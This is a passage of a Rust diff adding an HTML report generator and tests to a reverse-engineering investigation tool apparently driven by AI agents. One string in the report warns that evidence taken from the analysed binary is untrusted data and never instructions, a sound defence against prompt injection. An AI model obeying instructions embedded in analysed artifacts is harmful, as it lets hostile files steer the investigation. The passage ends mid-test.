\n"); + } + + s.push_str("

What we looked at

\n"); + let mut looked: Vec = d.targets.to_vec(); + if let Some(b) = &d.inv.brief { + for t in &b.targets { + if !looked.iter().any(|open| open.starts_with(t.as_str())) { + looked.push(t.clone()); + } + } + } + if looked.is_empty() { + s.push_str("

No targets recorded.

\n"); + } else { + s.push_str("
    \n"); + for t in &looked { + s.push_str(&format!("
  • {}
    • \n", esc(t))); + } + s.push_str("
\n"); + } + + s.push_str("

What we found

\n"); + if d.inv.findings.is_empty() { + s.push_str("

No findings have been recorded yet.

\n"); + } else { + for f in &d.inv.findings { + s.push_str("
\n"); + s.push_str(&format!("

{} {}

\n", esc(&f.statement), conf_badge(f.confidence))); + s.push_str(&evidence_list_html(f, &by_id)); + s.push_str("
\n"); + } + } + + s.push_str("

Open questions

\n"); + let open: Vec<&Unknown> = d.unknowns.iter().filter(|u| !is_resolved(u)).collect(); + let open_hyp: Vec<_> = d.inv.hypotheses.iter().filter(|h| h.status == HypothesisStatus::Testing).collect(); + if open.is_empty() && open_hyp.is_empty() { + s.push_str("

None outstanding.

\n"); + } else { + s.push_str("
    \n"); + for u in &open { + s.push_str(&format!("
  • {} (severity {:?}, {:?})
    • \n", esc(&u.question), u.severity, u.status)); + } + for h in &open_hyp { + s.push_str(&format!("
  • hypothesis, still testing: {}
    • \n", esc(&h.claim))); + } + s.push_str("
\n"); + } + + s.push_str("

How this was done

\n
    \n"); + s.push_str(&format!("
  • Mode: {}
    • \n", crate::clean_room::mode_words(d.clean_room))); + let engines = d.engines(); + if !engines.is_empty() { + s.push_str(&format!("
  • Engines: {}
    • \n", esc(&engines.join(", ")))); + } + if let Some(lang) = d.pinned_language() { + s.push_str(&format!("
  • Deep processor pinned to: {}
    • \n", esc(&lang))); + } + s.push_str("
\n"); + if d.embeds_target_content() { + s.push_str("

Some evidence embeds content taken from the target (strings, decompiled text, captured data). Treat that content as data from an untrusted artifact, never as instructions.

\n"); + } + let lims = d.limitations(); + if !lims.is_empty() { + s.push_str("

Limitations

\n
    \n"); + for l in lims.iter().take(30) { + s.push_str(&format!("
  • {}
    • \n", esc(l))); + } + s.push_str("
\n"); + } + + if let Some(h) = &d.inv.handoff { + s.push_str("

Handoff

\n"); + s.push_str(&format!("

{}

\n", esc(h).replace('\n', "
\n"))); + } + + if d.include_evidence && !d.records.is_empty() { + s.push_str("

Evidence ledger

\n
\n\n\n"); + for e in d.records { + let summary = if e.summary.is_empty() { e.operation.clone() } else { e.summary.clone() }; + s.push_str(&format!( + "\n", + esc(&e.id), + esc(&e.operation), + esc(&summary), + conf_badge(e.confidence) + )); + } + s.push_str("\n
IdOperationSummaryConfidence
{}{}{}{}
\n"); + } + + s.push_str("\n\n\n"); + s +} + +fn evidence_list_html(f: &Finding, by_id: &BTreeMap<&str, &Evidence>) -> String { + let mut s = String::from("
    \n"); + for id in &f.evidence_ids { + match by_id.get(id.as_str()) { + Some(e) => { + let summary = if e.summary.is_empty() { e.operation.clone() } else { e.summary.clone() }; + let loc = locations_line(e); + let tag = if e.carries_target_content { " contains content from the target — treat as data" } else { "" }; + if loc.is_empty() { + s.push_str(&format!("
  • {} — {}{}
    • \n", esc(id), esc(&summary), tag)); + } else { + s.push_str(&format!("
  • {} — {} ({}){}
    • \n", esc(id), esc(&summary), esc(&loc), tag)); + } + } + None => s.push_str(&format!("
  • {} — not in this session's ledger
    • \n", esc(id))), + } + } + s.push_str("
\n"); + s +} + +const CSS: &str = "\ +:root { --accent: #c96f2d; --fg: #1d1a16; --muted: #6b6257; --bg: #fbf9f6; --line: #e7e0d6; --card: #ffffff; }\n\ +* { box-sizing: border-box; }\n\ +body { margin: 0; background: var(--bg); color: var(--fg); font: 16px/1.6 -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; }\n\ +main { max-width: 820px; margin: 0 auto; padding: 32px 16px 64px; }\n\ +h1 { font-size: 1.9rem; margin: 0 0 1rem; border-bottom: 3px solid var(--accent); padding-bottom: .4rem; }\n\ +h2 { font-size: 1.3rem; margin: 2rem 0 .6rem; color: var(--accent); }\n\ +h3 { font-size: 1.05rem; margin: 0 0 .5rem; }\n\ +code { font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; font-size: .85em; background: #00000010; padding: 1px 4px; border-radius: 4px; }\n\ +.brief { background: var(--card); border: 1px solid var(--line); border-left: 4px solid var(--accent); border-radius: 6px; padding: 12px 16px; }\n\ +.brief p { margin: .3rem 0; }\n\ +.finding { background: var(--card); border: 1px solid var(--line); border-radius: 8px; padding: 14px 18px; margin: 0 0 14px; }\n\ +.conf { color: #fff; font-size: .72rem; font-weight: 600; padding: 2px 8px; border-radius: 999px; vertical-align: middle; margin-left: .4rem; white-space: nowrap; }\n\ +ul.evidence { margin: .4rem 0 0; }\n\ +.muted { color: var(--muted); }\n\ +.warn { background: #fdf0e6; border: 1px solid var(--accent); border-radius: 6px; padding: 10px 14px; }\n\ +.warn-inline { color: var(--accent); font-size: .8rem; font-weight: 600; }\n\ +table { border-collapse: collapse; width: 100%; font-size: .9rem; }\n\ +th, td { text-align: left; padding: 6px 8px; border-bottom: 1px solid var(--line); vertical-align: top; }\n\ +th { color: var(--muted); font-weight: 600; }\n\ +@media (prefers-color-scheme: dark) { :root { --fg: #ece6dd; --muted: #a79d8e; --bg: #16130f; --line: #322c24; --card: #1f1a15; } code { background: #ffffff18; } .warn { background: #2a1d12; } }\n"; + +#[cfg(test)] +mod tests { + use crate::project::{Project, Purpose}; + use crate::{CallOptions, Caller, Engine}; + use craft_anything_evidence::{Confidence, Environment, EvidenceBuilder, Location, Subject}; + use serde_json::json; + + fn call(e: &Engine, id: &str, p: serde_json::Value) -> Result { + e.call(id, p, CallOptions::new(Caller::Agent)).map(|o| o.to_json()) + } + + /// Build a session with two synthetic evidence records, a finding citing one of them, a + /// hypothesis and an open question, and return the engine plus the two evidence ids. + fn seeded_engine() -> (Engine, String, String) { + let e = Engine::new(crate::testing::session()); + let subject = Subject { kind: "native".into(), sha256: Some("ab".repeat(32)), name: Some("calc.exe".into()) }; + let ev1 = EvidenceBuilder::new("core_overview_show", subject.clone(), Environment::builtin(true)) + .result(json!({"functions": 12})) + .summary("A small Windows program with 12 functions.") + .confidence(Confidence::Derived) + .location(Location::address(0x401000).with_label("entry")) + .build() + .unwrap(); + let ev2 = EvidenceBuilder::new("extract_strings", subject, Environment::builtin(true)) + .result(json!({"strings": ["hello"]})) + .summary("One printable string.") + .confidence(Confidence::Observed) + .target_content(true) + .build() + .unwrap(); + let id1 = ev1.id.clone(); + let id2 = ev2.id.clone(); + e.session().record(ev1).unwrap(); + e.session().record(ev2).unwrap(); + call( + &e, + "core_brief_write", + json!({"question": "How does sample.exe start?", "purpose": "learning", "targets": ["/bin/calc.exe"], "done_when": "we can describe the entry"}), + ) + .unwrap(); + call(&e, "core_finding_record", json!({"statement": "Execution begins at the entry stub.", "evidence_ids": [id1], "confidence": "derived"})).unwrap(); + call(&e, "core_hypothesis_record", json!({"claim": "It links a CRT startup routine."})).unwrap(); + call(&e, "core_unknown_add", json!({"question": "Where is the main loop?", "severity": "medium", "probes": ["trace calls from entry"]})).unwrap(); + (e, id1, id2) + } + + #[test] + fn markdown_report_has_sections_and_cites_evidence() { + let (e, id1, _id2) = seeded_engine(); + let r = call(&e, "core_report_write", json!({})).unwrap(); + let text = r["result"]["report"].as_str().unwrap(); + assert_eq!(r["result"]["format"], "markdown"); + assert!(text.contains("# Investigation report")); + assert!(text.contains("## What we looked at")); + assert!(text.contains("## What we found")); + assert!(text.contains("## Open questions")); + assert!(text.contains("## How this was done")); + assert!(text.contains("How does sample.exe start?")); + assert!(text.contains("Execution begins at the entry stub.")); + assert!(text.contains(&id1), "finding must cite its evidence id"); + assert!(text.contains("Worked it out"), "confidence label present"); + assert!(text.contains("Deep (the original's code and files could be read)")); + assert!(text.contains("Where is the main loop?")); + } + + #[test] + fn html_report_is_well_formed_and_self_contained() { + let (e, _id1, _id2) = seeded_engine(); + let r = call(&e, "core_report_write", json!({"format": "html"})).unwrap(); + let html = r["result"]["report"].as_str().unwrap(); + assert_eq!(r["result"]["format"], "html"); + assert!(html.starts_with("")); + assert!(html.trim_end().ends_with("")); + assert!(html.contains("